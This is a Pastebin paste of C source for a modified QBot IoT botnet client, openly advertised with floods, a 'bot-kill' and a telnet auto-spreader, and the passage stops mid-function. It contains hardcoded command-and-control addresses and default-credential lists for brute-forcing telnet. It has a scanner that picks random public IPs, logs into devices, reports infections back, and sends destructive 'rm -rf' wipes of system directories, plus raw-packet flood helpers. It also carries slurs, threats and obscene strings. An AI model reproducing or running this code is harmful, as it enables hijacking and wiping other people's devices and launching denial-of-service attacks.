Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // QBOT CLIENT MODIFIED BY SIMOXFX.
- // THIS IS A FUCKING PRIVATE CLIENT. IF YOU SHARE I WILL KILL YOU!!
- // FEAUTURES: HTTP-GHP FLOOD; STD FLOOD; BOT-KILL; DEVICE CLEANER; NEW AND FIXED IP-STATES; NEW AND FIXED TN-SCANNER (aka auto-rep).
- // HAVE FUN.
- /*
- ___ ______ _______ ___ ___ ___ ______ _______ _______
- | | | _ \ | _ | | | | Y | | _ \ | _ | | _ |
- |. | |. | | |. 1___| |. | |. | | |. | \ |. 1___| | 1___|
- |. | |. | | |. |___ |. |___ |. | | |. | \ |. __)_ |____ |
- |: | |: | | |: 1 | |: 1 | |: 1 | |: 1 / |: 1 | |: 1 |
- |::.| |::.| | |::.. . | |::.. . | |::.. . | |::.. . / |::.. . | |::.. . |
- `---' `--- ---' `-------' `-------' `-------' `------' `-------' `-------'
- */
- #include <stdlib.h>
- #include <stdarg.h>
- #include <stdio.h>
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <signal.h>
- #include <strings.h>
- #include <string.h>
- #include <sys/utsname.h>
- #include <unistd.h>
- #include <fcntl.h>
- #include <errno.h>
- #include <netinet/ip.h>
- #include <netinet/udp.h>
- #include <netinet/tcp.h>
- #include <sys/wait.h>
- #include <sys/ioctl.h>
- #include <net/if.h>
- #include <time.h>
- #include <dirent.h>
- #include <limits.h>
- #include <sys/stat.h>
- #include <sys/time.h>
- #include <string.h>
- /*
- ______ _______ _______ ___ ______ _______ _______
- | _ \ | _ | | _ | | | | _ \ | _ | | _ |
- |. | \ |. 1___| |. 1___| |. | |. | | |. 1___| | 1___|
- |. | \ |. __)_ |. __) |. | |. | | |. __)_ |____ |
- |: 1 / |: 1 | |: | |: | |: | | |: 1 | |: 1 |
- |::.. . / |::.. . | |::.| |::.| |::.| | |::.. . | |::.. . |
- `------' `-------' `---' `---' `--- ---' `-------' `-------'
- */
- #define PR_SET_NAME 15
- #define pornhub_rocks (sizeof(vjqweuqwuds) / sizeof(unsigned char *))
- #define PAD_RIGHT 1
- #define PAD_ZERO 2
- #define PRINT_BUF_LEN 12
- #define CMD_IAC 255
- #define CMD_WILL 251
- #define CMD_WONT 252
- #define CMD_DO 253
- #define CMD_DONT 254
- #define OPT_SGA 3
- #define SOCKBUF_SIZE 1024
- #define BUFFER_SIZE 1024
- #define l0l21eu128duw "hugme"
- #define zdjaudh278e12ye 75
- struct qhfkszpt {
- int fd;
- unsigned int ip;
- unsigned char state;
- unsigned char complete;
- unsigned char aspymhfk; /* username */
- unsigned char agnahqau; /* password */
- unsigned char xfdbymvk; /* tempdir */
- unsigned int tTimeout; /* totalTimeout */
- unsigned short bufUsed;
- char *sockbuf;
- };
- int fake_connection_wink_wink();
- void chinese_routers_suck(unsigned char *buf, int length);
- int bignetreppin(int sock, char *formatStr, ...);
- char *inet_ntoa(struct in_addr in);
- int lots_of_random_shit = 0, big_fat_d1ckz = -1;
- uint32_t *pids;
- uint32_t scanPid;
- uint64_t numpids = 0;
- struct in_addr ourIP;
- /*
- _______ _______ _______ ___ ___ _______ _______ _______ _______ ______ _______ ___ _______
- | _ | | _ | | _ \ | Y | | _ | | _ \ | _ | | _ | | _ \ | _ | | | | _ |
- | 1___| |. 1___| |. l / |. | | |. 1___| |. l / |. 1___| |. | | |. | | |. 1___| |. | |. |___|
- |____ | |. __)_ |. _ 1 |. | | |. __)_ |. _ 1 |. |___ |. | | |. | | |. __) |. | |. | |
- |: 1 | |: 1 | |: | | |: 1 | |: 1 | |: | | |: 1 | |: 1 | |: | | |: | |: | |: 1 |
- |::.. . | |::.. . | |::.|:. | \:.. ./ |::.. . | |::.|:. | |::.. . | |::.. . | |::.| | |::.| |::.| |::.. . |
- `-------' `-------' `--- ---' `---' `-------' `--- ---' `-------' `-------' `--- ---' `---' `---' `-------'
- */
- unsigned char *siwuaddawdw[] = { "180.127.193.85:666", "217.168.59.97:44824", "136.14.234.160:11023", "91.74.26.26:24244", "119.68.130.58:33024" };
- unsigned char *dasjdiojsad[] = { "164.246.251.135:204", "5.215.180.160:23", "83.4.146.45:1337", "171.205.142.167:123", "37.113.229.173:6892", "106.106.75.162:56", "35.2.109.121:3302" };
- unsigned char *vjqweuqwuds[] = { "1.1.1.1:23" }; // IP:PORT
- unsigned char *zdqweiwjdwa[] = { "30.3.163.60:333", "207.47.201.234:19241", "79.131.61.218:47", "79.131.65.218:69", "79.131.61.218:12340", "3.27.128.81:1032", "158.188.44.47:22322" };
- unsigned char *sdlmiwudhua[] = { "14.109.142.86:12", "153.22.141.84:2000", "197.210.81.149:443", "49.94.220.40:6667", "77.236.150.164:50404", "5.238.219.87:20411", "16.193.157.210:2224", "125.211.90.104:4848", "44.106.46.173:9969" };
- /*
- _______ ___ ___ ______ _______ _______ ___ _______ ______ _______
- | _ | | Y | | _ \ | _ | | | | | | _ | | _ \ | _ |
- |. 1___| |. | | |. | | |. 1___| |.| | | |. | |. | | |. | | | 1___|
- |. __) |. | | |. | | |. |___ `-|. |-' |. | |. | | |. | | |____ |
- |: | |: 1 | |: | | |: 1 | |: | |: | |: 1 | |: | | |: 1 |
- |::.| |::.. . | |::.| | |::.. . | |::.| |::.| |::.. . | |::.| | |::.. . |
- `---' `-------' `--- ---' `-------' `---' `---' `-------' `--- ---' `-------'
- */
- char *zkdgisfue[] = {"root\0", "\0", "admin\0", "user\0", "guest\0", "user\0", "support\0", "supervisor\0", "telnet\0", "ubnt\0"};
- char *rqwruwdsa[] = {"root\0", "\0", "admin\0", "user\0", "guest\0", "1111\0", "1234\0", "12345\0", "123456\0", "default\0", "dreambox\0", "pass\0", "password\0", "vizxv\0"};
- unsigned char *f2u342932[] = { "fuck you skid", "suck a dick", "you don't got anythin on me!", "mlg 420 doritoz", "blaze it SKIDIOT!", "xd memez", "i live in tokyo",
- "#TonysMalwareMeme", "blj is a skid ripper", "cum on my titz", "ohhh yaa fuck me daddy", "lol kys", "DADDY PLEZ", "donald trump",
- "black people with white dicks 2016", "lmao what a great joke", "why are you still here?", "what did you find?", "DID U FIND YOUR TINY COCK?", "LOOOOL YAH YOU DID", "okay, i wasted your time, continue on LOL, RETARD." };
- char* gxjaddwmyge[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/var/tmp", "/dev/shm/", "/mnt/", "/boot/", "/usr/", (char*) 0}; /* temp dirs */
- char* sgjgqjhcssq[] = {":", "ogin", "sername", "assword", (char*)0}; /* advances */
- char* fzfyrhwmbxh[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0}; /* fails */
- char* wwxpahtemqq[] = {"busybox", "$", "#", (char*)0}; /* successes */
- char* sgjgqjhcssq2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "busybox", "$", "#", (char*)0}; /* advances 2 */
- /*
- _______ _______ _______ ______ _______
- | _ | | _ | | _ \ | _ \ | _ |
- |. 1___| |. 1 | |. l / |. | | |. |___|
- |. __) |. ____| |. _ 1 |. | | |. | |
- |: | |: | |: | | |: | | |: 1 |
- |::.| |::.| |::.|:. | |::.| | |::.. . |
- `---' `---' `--- ---' `--- ---' `-------'
- */
- #define PHI 0x9e3779b9
- static uint32_t Q[4096], c = 362436;
- void init_rand(uint32_t x) {
- int i;
- Q[0] = x;
- Q[1] = x + PHI;
- Q[2] = x + PHI + PHI;
- for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
- }
- uint32_t rand_cmwc(void) {
- uint64_t t, a = 18782LL;
- static uint32_t i = 4095;
- uint32_t x, r = 0xfffffffe;
- i = (i + 1) & 4095;
- t = a * Q[i] + c;
- c = (uint32_t)(t >> 32);
- x = t + c;
- if (x < c) {
- x++;
- c++;
- }
- return (Q[i] = r - x);
- }
- int contains_string(char* buffer, char** strings) {
- int num_strings = 0, i = 0;
- for(num_strings = 0; strings[++num_strings] != 0; );
- for(i = 0; i < num_strings; i++) {
- if(strcasestr(buffer, strings[i])) {
- return 1;
- }
- }
- return 0;
- }
- int contains_success(char* buffer) {
- return contains_string(buffer, wwxpahtemqq);
- }
- int contains_fail(char* buffer) {
- return contains_string(buffer, fzfyrhwmbxh);
- }
- int contains_response(char* buffer) {
- return contains_success(buffer) || contains_fail(buffer);
- }
- int read_with_timeout(int fd, int timeout_usec, char* buffer, int buf_size) {
- fd_set read_set;
- struct timeval tv;
- tv.tv_sec = 0;
- tv.tv_usec = timeout_usec;
- FD_ZERO(&read_set);
- FD_SET(fd, &read_set);
- if (select(fd+1, &read_set, NULL, NULL, &tv) < 1)
- return 0;
- return recv(fd, buffer, buf_size, 0);
- }
- int read_until_response(int fd, int timeout_usec, char* buffer, int buf_size, char** strings) {
- int num_bytes, i;
- memset(buffer, 0, buf_size);
- num_bytes = read_with_timeout(fd, timeout_usec, buffer, buf_size);
- if(buffer[0] == 0xFF) {
- negotiate(fd, buffer, 3);
- }
- if(contains_string(buffer, strings)) {
- return 1;
- }
- return 0;
- }
- const char* fatd1cks(struct qhfkszpt* telstate) { // get host
- struct in_addr in_addr_ip;
- in_addr_ip.s_addr = telstate->ip;
- return inet_ntoa(in_addr_ip);
- }
- void adv_c0ckz(struct qhfkszpt* telstate, int new_state) { // advance
- if(new_state == 0) {
- close(telstate->fd);
- }
- telstate->tTimeout = 0;
- telstate->state = new_state;
- memset((telstate->sockbuf), 0, SOCKBUF_SIZE);
- }
- void res_c0ckz(struct qhfkszpt* telstate) { // reset
- adv_c0ckz(telstate, 0);
- telstate->complete = 1;
- }
- /*
- ___ ___ _______ ___ ___ _______
- | Y | | | | | | | | _ |
- |. | | |.| | | |. | |. | | 1___|
- |. | | `-|. |-' |. | |. |___ |____ |
- |: 1 | |: | |: | |: 1 | |: 1 |
- |::.. . | |::.| |::.| |::.. . | |::.. . |
- `-------' `---' `---' `-------' `-------'
- */
- void trim(char *str) {
- int i;
- int begin = 0;
- int end = strlen(str) - 1;
- while (isspace(str[begin])) begin++;
- while ((end >= begin) && isspace(str[end])) end--;
- for (i = begin; i <= end; i++) str[i - begin] = str[i];
- str[i - begin] = '\0';
- }
- static void printchar(unsigned char **str, int c) {
- if (str) {
- **str = c;
- ++(*str);
- }
- else (void)write(1, &c, 1);
- }
- static int prints(unsigned char **out, const unsigned char *string, int width, int pad) {
- register int pc = 0, padchar = ' ';
- if (width > 0) {
- register int len = 0;
- register const unsigned char *ptr;
- for (ptr = string; *ptr; ++ptr) ++len;
- if (len >= width) width = 0;
- else width -= len;
- if (pad & PAD_ZERO) padchar = '0';
- }
- if (!(pad & PAD_RIGHT)) {
- for ( ; width > 0; --width) {
- printchar (out, padchar);
- ++pc;
- }
- }
- for ( ; *string ; ++string) {
- printchar (out, *string);
- ++pc;
- }
- for ( ; width > 0; --width) {
- printchar (out, padchar);
- ++pc;
- }
- return pc;
- }
- static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase) {
- unsigned char print_buf[PRINT_BUF_LEN];
- register unsigned char *s;
- register int t, neg = 0, pc = 0;
- register unsigned int u = i;
- if (i == 0) {
- print_buf[0] = '0';
- print_buf[1] = '\0';
- return prints (out, print_buf, width, pad);
- }
- if (sg && b == 10 && i < 0) {
- neg = 1;
- u = -i;
- }
- s = print_buf + PRINT_BUF_LEN-1;
- *s = '\0';
- while (u) {
- t = u % b;
- if( t >= 10 )
- t += letbase - '0' - 10;
- *--s = t + '0';
- u /= b;
- }
- if (neg) {
- if( width && (pad & PAD_ZERO) ) {
- printchar (out, '-');
- ++pc;
- --width;
- }
- else {
- *--s = '-';
- }
- }
- return pc + prints (out, s, width, pad);
- }
- static int print(unsigned char **out, const unsigned char *format, va_list args ) {
- register int width, pad;
- register int pc = 0;
- unsigned char scr[2];
- for (; *format != 0; ++format) {
- if (*format == '%') {
- ++format;
- width = pad = 0;
- if (*format == '\0') break;
- if (*format == '%') goto out;
- if (*format == '-') {
- ++format;
- pad = PAD_RIGHT;
- }
- while (*format == '0') {
- ++format;
- pad |= PAD_ZERO;
- }
- for ( ; *format >= '0' && *format <= '9'; ++format) {
- width *= 10;
- width += *format - '0';
- }
- if( *format == 's' ) {
- register char *s = (char *)va_arg( args, int );
- pc += prints (out, s?s:"(null)", width, pad);
- continue;
- }
- if( *format == 'd' ) {
- pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
- continue;
- }
- if( *format == 'x' ) {
- pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
- continue;
- }
- if( *format == 'X' ) {
- pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
- continue;
- }
- if( *format == 'u' ) {
- pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
- continue;
- }
- if( *format == 'c' ) {
- scr[0] = (unsigned char)va_arg( args, int );
- scr[1] = '\0';
- pc += prints (out, scr, width, pad);
- continue;
- }
- }
- else {
- out:
- printchar (out, *format);
- ++pc;
- }
- }
- if (out) **out = '\0';
- va_end( args );
- return pc;
- }
- int zprintf(const unsigned char *format, ...) {
- va_list args;
- va_start( args, format );
- return print( 0, format, args );
- }
- int szprintf(unsigned char *out, const unsigned char *format, ...) {
- va_list args;
- va_start( args, format );
- return print( &out, format, args );
- }
- int bignetreppin(int sock, char *formatStr, ...) {
- unsigned char *textBuffer = malloc(2048);
- memset(textBuffer, 0, 2048);
- char *orig = textBuffer;
- va_list args;
- va_start(args, formatStr);
- print(&textBuffer, formatStr, args);
- va_end(args);
- orig[strlen(orig)] = '\n';
- zprintf("bot: %s\n", orig);
- int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
- free(orig);
- return q;
- }
- int wildString(const unsigned char* pattern, const unsigned char* string) {
- switch(*pattern) {
- case '\0': return *string;
- case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
- case '?': return !(*string && !wildString(pattern+1, string+1));
- default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
- }
- }
- int getHost(unsigned char *toGet, struct in_addr *i) {
- struct hostent *h;
- if((i->s_addr = inet_addr(toGet)) == -1) return 1;
- return 0;
- }
- void chinese_routers_suck(unsigned char *buf, int length) {
- int i = 0;
- for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
- }
- int recvLine(int socket, unsigned char *buf, int bufsize) {
- memset(buf, 0, bufsize);
- fd_set myset;
- struct timeval tv;
- tv.tv_sec = 30;
- tv.tv_usec = 0;
- FD_ZERO(&myset);
- FD_SET(socket, &myset);
- int selectRtn, retryCount;
- if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
- while(retryCount < 10) {
- tv.tv_sec = 30;
- tv.tv_usec = 0;
- FD_ZERO(&myset);
- FD_SET(socket, &myset);
- if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
- retryCount++;
- continue;
- }
- break;
- }
- }
- unsigned char tmpchr;
- unsigned char *cp;
- int count = 0;
- cp = buf;
- while(bufsize-- > 1) {
- if(recv(lots_of_random_shit, &tmpchr, 1, 0) != 1) {
- *cp = 0x00;
- return -1;
- }
- *cp++ = tmpchr;
- if(tmpchr == '\n') break;
- count++;
- }
- *cp = 0x00;
- return count;
- }
- int connectTimeout(int fd, char *host, int port, int timeout) {
- struct sockaddr_in dest_addr;
- fd_set myset;
- struct timeval tv;
- socklen_t lon;
- int valopt;
- long arg = fcntl(fd, F_GETFL, NULL);
- arg |= O_NONBLOCK;
- fcntl(fd, F_SETFL, arg);
- dest_addr.sin_family = AF_INET;
- dest_addr.sin_port = htons(port);
- if(getHost(host, &dest_addr.sin_addr)) return 0;
- memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
- int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
- if (res < 0) {
- if (errno == EINPROGRESS) {
- tv.tv_sec = timeout;
- tv.tv_usec = 0;
- FD_ZERO(&myset);
- FD_SET(fd, &myset);
- if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
- lon = sizeof(int);
- getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
- if (valopt) return 0;
- }
- else return 0;
- }
- else return 0;
- }
- arg = fcntl(fd, F_GETFL, NULL);
- arg &= (~O_NONBLOCK);
- fcntl(fd, F_SETFL, arg);
- return 1;
- }
- int listFork() {
- uint32_t parent, *newpids, i;
- parent = fork();
- if (parent <= 0) return parent;
- numpids++;
- newpids = (uint32_t*)malloc((numpids + 1) * 4);
- for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
- newpids[numpids - 1] = parent;
- free(pids);
- pids = newpids;
- return parent;
- }
- int negotiate(int sock, unsigned char *buf, int len) {
- unsigned char c;
- switch (buf[1]) {
- case CMD_IAC: return 0;
- case CMD_WILL:
- case CMD_WONT:
- case CMD_DO:
- case CMD_DONT:
- c = CMD_IAC;
- send(sock, &c, 1, MSG_NOSIGNAL);
- if (CMD_WONT == buf[1]) c = CMD_DONT;
- else if (CMD_DONT == buf[1]) c = CMD_WONT;
- else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
- else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
- send(sock, &c, 1, MSG_NOSIGNAL);
- send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
- break;
- default:
- break;
- }
- return 0;
- }
- int matchPrompt(char *bufStr) {
- char *prompts = ":>%$#\0";
- int bufLen = strlen(bufStr);
- int i, q = 0;
- for(i = 0; i < strlen(prompts); i++) {
- while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
- if(*(bufStr + bufLen - q) == prompts[i]) return 1;
- }
- return 0;
- }
- /*
- ___ _______ _______ _______ _______ _______ _______ _______
- | | | _ | ______ | _ | | | | _ | | | | _ | | _ |
- |. | |. 1 | |______| | 1___| |.| | | |. 1 | |.| | | |. 1___| | 1___|
- |. | |. ____| |____ | `-|. |-' |. _ | `-|. |-' |. __)_ |____ | //Fixed By SimoxFX
- |: | |: | |: 1 | |: | |: | | |: | |: 1 | |: 1 |
- |::.| |::.| |::.. . | |::.| |::.|:. | |::.| |::.. . | |::.. . |
- `---' `---' `-------' `---' `--- ---' `---' `-------' `-------'
- */
- in_addr_t ohyesilovewilly() {
- uint8_t ipState[4] = {0};
- ipState[0] = rand() % 255;
- ipState[1] = rand() % 255;
- ipState[2] = rand() % 255;
- ipState[3] = rand() % 255;
- while(
- (ipState[0] == 0) ||
- (ipState[0] == 10) ||
- (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
- (ipState[0] == 127) ||
- (ipState[0] == 169 && ipState[1] == 254) ||
- (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
- (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
- (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
- (ipState[0] == 192 && ipState[1] == 168) ||
- (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
- (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
- (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
- (ipState[0] >= 224)
- )
- {
- ipState[0] = rand() % 255;
- ipState[1] = rand() % 255;
- ipState[2] = rand() % 255;
- ipState[3] = rand() % 255;
- }
- char ip[16] = {0};
- szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
- return inet_addr(ip);
- }
- in_addr_t bigcocksinmymouth(in_addr_t netmask) {
- in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
- return tmp ^ ( rand_cmwc() & ~netmask);
- }
- unsigned short csum (unsigned short *buf, int count) {
- register uint64_t sum = 0;
- while( count > 1 ) { sum += *buf++; count -= 2; }
- if(count > 0) { sum += *(unsigned char *)buf; }
- while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
- return (uint16_t)(~sum);
- }
- unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
- struct tcp_pseudo {
- unsigned long src_addr;
- unsigned long dst_addr;
- unsigned char zero;
- unsigned char proto;
- unsigned short length;
- } pseudohead;
- unsigned short total_len = iph->tot_len;
- pseudohead.src_addr=iph->saddr;
- pseudohead.dst_addr=iph->daddr;
- pseudohead.zero=0;
- pseudohead.proto=IPPROTO_TCP;
- pseudohead.length=htons(sizeof(struct tcphdr));
- int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
- unsigned short *tcp = malloc(totaltcp_len);
- memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
- memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
- unsigned short output = csum(tcp,totaltcp_len);
- free(tcp);
- return output;
- }
- void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize) {
- iph->ihl = 5;
- iph->version = 4;
- iph->tos = 0;
- iph->tot_len = sizeof(struct iphdr) + packetSize;
- iph->id = rand_cmwc();
- iph->frag_off = 0;
- iph->ttl = MAXTTL;
- iph->protocol = protocol;
- iph->check = 0;
- iph->saddr = source;
- iph->daddr = dest;
- }
- int sclose(int fd) {
- if(3 > fd) return 1;
- close(fd);
- return 0;
- }
- int awdj218eu29duada(char *host, in_port_t port) {
- struct hostent *hp;
- struct sockaddr_in addr;
- int on = 1, sock;
- if ((hp = gethostbyname(host)) == NULL) return 0;
- bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
- addr.sin_port = htons(port);
- addr.sin_family = AF_INET;
- sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
- setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
- if (sock == -1) return 0;
- if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
- return sock;
- }
- /*
- _______ ______ _______ _______ _______ ______ ______ _______ _______
- | | | _ \ ______ | _ | | _ | | _ | | _ \ | _ \ | _ | | _ \
- |.| | | |. | | |______| | 1___| |. 1___| |. 1 | |. | | |. | | |. 1___| |. l /
- `-|. |-' |. | | |____ | |. |___ |. _ | |. | | |. | | |. __)_ |. _ 1 //Fixed By SimoxFX - Fucking fast and working TN scan/bf.
- |: | |: | | |: 1 | |: 1 | |: | | |: | | |: | | |: 1 | |: | |
- |::.| |::.| | |::.. . | |::.. . | |::.|:. | |::.| | |::.| | |::.. . | |::.|:. |
- `---' `--- ---' `-------' `-------' `--- ---' `--- ---' `--- ---' `-------' `--- ---'
- */
- void fuckfatpeople(int wait_usec, int maxfds) {
- int max = getdtablesize() - 100, i, res, num_tmps, j;
- char buf[128], cur_dir;
- if (max > maxfds)
- max = maxfds;
- fd_set fdset;
- struct timeval tv;
- socklen_t lon;
- int valopt;
- char line[256];
- char* buffer;
- struct sockaddr_in dest_addr;
- dest_addr.sin_family = AF_INET;
- dest_addr.sin_port = htons(23);
- memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
- buffer = malloc(SOCKBUF_SIZE + 1);
- memset(buffer, 0, SOCKBUF_SIZE + 1);
- struct qhfkszpt fds[max];
- memset(fds, 0, max * (sizeof(int) + 1));
- for(i = 0; i < max; i++) {
- memset(&(fds[i]), 0, sizeof(struct qhfkszpt));
- fds[i].complete = 1;
- fds[i].sockbuf = buffer;
- }
- for(num_tmps = 0; gxjaddwmyge[++num_tmps] != 0; );
- while(1) {
- for(i = 0; i < max; i++) {
- if(fds[i].tTimeout == 0) {
- fds[i].tTimeout = time(NULL);
- }
- switch(fds[i].state) {
- case 0:
- {
- if(fds[i].complete == 1) {
- char *tmp = fds[i].sockbuf;
- memset(&(fds[i]), 0, sizeof(struct qhfkszpt));
- fds[i].sockbuf = tmp;
- fds[i].ip = ohyesilovewilly();
- }
- else if(fds[i].complete == 0) {
- fds[i].agnahqau++;
- if(fds[i].agnahqau == sizeof(rqwruwdsa) / sizeof(char *)) {
- fds[i].agnahqau = 0;
- fds[i].aspymhfk++;
- }
- if(fds[i].aspymhfk == sizeof(zkdgisfue) / sizeof(char *)) {
- fds[i].complete = 1;
- continue;
- }
- }
- dest_addr.sin_family = AF_INET;
- dest_addr.sin_port = htons(23);
- memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
- dest_addr.sin_addr.s_addr = fds[i].ip;
- fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
- if(fds[i].fd == -1) continue;
- fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
- if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
- res_c0ckz(&fds[i]);
- }
- else {
- adv_c0ckz(&fds[i], 1);
- }
- }
- break;
- case 1:
- {
- FD_ZERO(&fdset);
- FD_SET(fds[i].fd, &fdset);
- tv.tv_sec = 0;
- tv.tv_usec = wait_usec;
- res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
- if(res == 1) {
- lon = sizeof(int);
- valopt = 0;
- getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
- if(valopt) {
- res_c0ckz(&fds[i]);
- }
- else {
- fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
- adv_c0ckz(&fds[i], 2);
- }
- continue;
- }
- else if(res == -1) {
- res_c0ckz(&fds[i]);
- continue;
- }
- if(fds[i].tTimeout + 7 < time(NULL)) {
- res_c0ckz(&fds[i]);
- }
- }
- break;
- case 2:
- {
- if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, sgjgqjhcssq)) {
- if(contains_fail(fds[i].sockbuf)) {
- adv_c0ckz(&fds[i], 0);
- }
- else {
- adv_c0ckz(&fds[i], 3);
- }
- continue;
- }
- if(fds[i].tTimeout + 7 < time(NULL)) {
- res_c0ckz(&fds[i]);
- }
- }
- break;
- case 3:
- {
- if(send(fds[i].fd, zkdgisfue[fds[i].aspymhfk], strlen(zkdgisfue[fds[i].aspymhfk]), MSG_NOSIGNAL) < 0) {
- res_c0ckz(&fds[i]);
- continue;
- }
- if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
- res_c0ckz(&fds[i]);
- continue;
- }
- adv_c0ckz(&fds[i], 4);
- }
- break;
- case 4:
- {
- if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, sgjgqjhcssq)) {
- if(contains_fail(fds[i].sockbuf)) {
- adv_c0ckz(&fds[i], 0);
- }
- else {
- adv_c0ckz(&fds[i], 5);
- }
- continue;
- }
- if(fds[i].tTimeout + 7 < time(NULL)) {
- res_c0ckz(&fds[i]);
- }
- }
- break;
- case 5:
- {
- if(send(fds[i].fd, rqwruwdsa[fds[i].agnahqau], strlen(rqwruwdsa[fds[i].agnahqau]), MSG_NOSIGNAL) < 0) {
- res_c0ckz(&fds[i]);
- continue;
- }
- if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
- res_c0ckz(&fds[i]);
- continue;
- }
- adv_c0ckz(&fds[i], 6);
- }
- break;
- case 6:
- {
- if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, SOCKBUF_SIZE, sgjgqjhcssq2)) {
- fds[i].tTimeout = 0;
- if(contains_fail(fds[i].sockbuf)) {
- adv_c0ckz(&fds[i], 0);
- }
- else if(contains_success(fds[i].sockbuf)) {
- if(fds[i].complete == 2) {
- adv_c0ckz(&fds[i], 7);
- }
- else {
- bignetreppin(lots_of_random_shit, "INFECTION ATTEMPT - %s:%s:%s", fatd1cks(&fds[i]), zkdgisfue[fds[i].aspymhfk], rqwruwdsa[fds[i].agnahqau]);
- adv_c0ckz(&fds[i], 7);
- }
- }
- else {
- res_c0ckz(&fds[i]);
- }
- continue;
- }
- if(fds[i].tTimeout + 7 < time(NULL)) {
- res_c0ckz(&fds[i]);
- }
- }
- break;
- case 7:
- {
- for(j = 0; j < num_tmps; j++) {
- memset(buf, 0, 128);
- if(j == 0)
- snprintf(buf, 127, ">%s.t && cd %s && for a in `ls -a %s`; do >$a; done; >gaybot\r\n", gxjaddwmyge[j], gxjaddwmyge[j], gxjaddwmyge[j], gxjaddwmyge[j]);
- else
- snprintf(buf, 127, ">%s.t && cd %s ; >gaybot\r\n", gxjaddwmyge[j], gxjaddwmyge[j], gxjaddwmyge[j]);
- if(send(fds[i].fd, buf, strlen(buf), MSG_NOSIGNAL) < 0) {
- res_c0ckz(&fds[i]);
- continue;
- }
- }
- adv_c0ckz(&fds[i], 8);
- }
- break;
- case 8:
- {
- fds[i].tTimeout = 0;
- if(send(fds[i].fd, "rm -rf /tmp/* /var/* /dev/* /var/run/* /var/tmp/* /dev/shm/* /mnt/* /boot/* /usr/*\r\n", 84, MSG_NOSIGNAL) < 0) {
- bignetreppin(lots_of_random_shit, "DEVICE CLEAN SUCCESS - %s:%s:%s", fatd1cks(&fds[i]), zkdgisfue[fds[i].aspymhfk], rqwruwdsa[fds[i].agnahqau]);
- adv_c0ckz(&fds[i], 9);
- continue;
- }
- if(fds[i].tTimeout + 7 < time(NULL)) {
